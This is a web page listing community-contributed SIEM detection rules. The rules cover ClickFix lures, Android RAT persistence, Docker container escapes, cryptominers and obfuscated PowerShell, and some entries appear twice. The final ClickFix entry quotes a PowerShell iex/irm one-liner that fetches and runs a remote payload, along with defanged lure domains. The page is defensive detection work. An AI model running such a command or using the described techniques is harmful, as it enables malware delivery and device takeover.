Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
20,483 detections
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1
Detects a coordinated attack sequence where a browser process is terminated, followed immediately by the execution of an unsigned Python interpreter from a suspicious location (temp/downloads folder), which is then followed by the installation of an unsigned browser extension. This pattern mimics ClickFix and browser-based RAT lure campaigns.
Detects the CLOSEDQUORUM implant communicating with multiple LLM providers (DeepSeek, Qwen, Mistral, or Gemini) for quorum-based decision making, followed by the same process spawning or injecting into a legitimate Windows system process (e.g., svchost, explorer) to conduct post-exploitation activities.
Detects potential process injection attempts where a process is created in a suspended state (often used for hollowed or injected code) and subsequently performs sensitive remote memory or thread operations (e.g., NtAllocateVirtualMemoryRemote, WriteProcessMemoryRemote) on that process.
This rule monitors for suspicious interactions with Android device drivers via the 'getevent' utility, often used to capture raw input, combined with unusual file access patterns involving 'locateValues.json' and potential data exfiltration attempts to specific internal API endpoints.
Detects malicious persistence activity on Android devices originating from an ADB or shell context (UID 2000). The rule monitors for a sequential pattern: the silent re-installation of the 'RatHat' APK package via 'pm install' commands, followed by the modification of system security settings to re-grant Accessibility Service permissions.
Detects a suspected anti-debugging and anti-instrumentation sequence on Android devices. This rule identifies instances where 'getprop' is used to query system properties related to device security (ro.debuggable, ro.secure) followed shortly by a local network probe to the standard Frida instrumentation server port (27042). This combination is indicative of malware gating its execution to ensure it is not running within a controlled or debugged environment.
Detects a suspected anti-debugging and anti-instrumentation sequence on Android devices. This rule identifies instances where 'getprop' is used to query system properties related to device security (ro.debuggable, ro.secure) followed shortly by a local network probe to the standard Frida instrumentation server port (27042). This combination is indicative of malware gating its execution to ensure it is not running within a controlled or debugged environment.
Detects malicious persistence activity on Android devices originating from an ADB or shell context (UID 2000). The rule monitors for a sequential pattern: the silent re-installation of the 'RatHat' APK package via 'pm install' commands, followed by the modification of system security settings to re-grant Accessibility Service permissions.
Detects the use of the 'nsenter' utility to target the PID 1 namespace with host-level namespace flags. This technique is used by the CARBONATO botnet to escape from a privileged Docker container and execute commands on the underlying host system, leveraging the host filesystem mount.
Detects the execution of the XMRig cryptominer masquerading as the legitimate systemd-logind service. The rule identifies suspicious command-line arguments indicative of mining activity, or instances where systemd-logind is spawned from unauthorized parent processes such as shell interpreters, container engines, or nsenter, which is often characteristic of post-exploitation activity like privileged Docker container escapes.
Detects persistence mechanisms used by the CARBONATO botnet on Linux-based Docker hosts. The rule monitors for the application of immutable file attributes using 'chattr +i' on identified watchdog binaries (specifically '.docker-network-monitor'), the creation of malicious cron jobs, the enabling of suspicious systemd timers ('docker-network-resolver'), and the execution of specific persistence-related shell scripts.
Detects a specific Android sandbox escape technique where a malicious app enables Accessibility Services and Developer Options/Wireless Debugging to initiate a self-pairing ADB connection over localhost. This bypasses typical app sandbox restrictions, allowing the execution of processes with the UID 2000 (shell) context.
Detects malicious staging and C2 activity characteristic of RatHat Android malware. The rule identifies processes running under the Android shell user (UID 2000) that execute specific tools (minicap, minitouch, or disguised libraries) from the /data/local/tmp directory, followed by an outbound network connection, which is indicative of a persistence mechanism and reverse-tunneling command-and-control communication.
Detects the creation of Windows services by known binary hosts frequently utilized by NeedyMantis for DLL sideloading. This activity is indicative of the persistence phase where the actor's 'is' module registers itself as a service to ensure survival across system reboots following the execution of the sideloading chain.
Detects the use of the 'getevent' utility on Android/Linux systems to monitor and capture raw input events from '/dev/input'. This technique is often used by mobile malware to perform keylogging by intercepting touch or physical keystroke event streams, bypassing standard application-level input handling.
This rule detects potentially malicious activity on Android devices where the 'shell' user is performing silent application installations using 'pm install' and subsequently granting accessibility permissions via 'settings put secure'. This sequence is indicative of malware attempting to gain elevated control over the device by bypassing user-interactive prompts for installation and permission authorization.
Detects the execution of PowerShell commands using '[scriptblock]::Create' in conjunction with character array decoding or large negative integer-array patterns. This technique is commonly used to deobfuscate and execute obfuscated PowerShell scripts at runtime.
Detects the execution of msiexec.exe with flags indicating a silent installation (/passive) where the package source is a remote URL (http:// or https://). This behavior is commonly associated with ClickFix campaigns and other malware delivery methods that attempt to trick users into installing malicious Windows Installer packages.
Detects execution of msiexec.exe via the Windows Run dialog (launched by explorer.exe) that utilizes a remote URL for an MSI installer alongside suspicious property flags ('ORG_NOTE', 'passive'). This pattern is associated with 'ClickFix' social engineering campaigns where users are instructed to copy-paste commands to 'fix' a display issue, leading to the execution of malicious installers.
Detects a suspicious PowerShell execution chain originating from explorer.exe, typically associated with ClickFix social engineering campaigns. The command uses 'Invoke-RestMethod' (irm) to download content, saves it to the user's TEMP directory, and immediately executes the downloaded script.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
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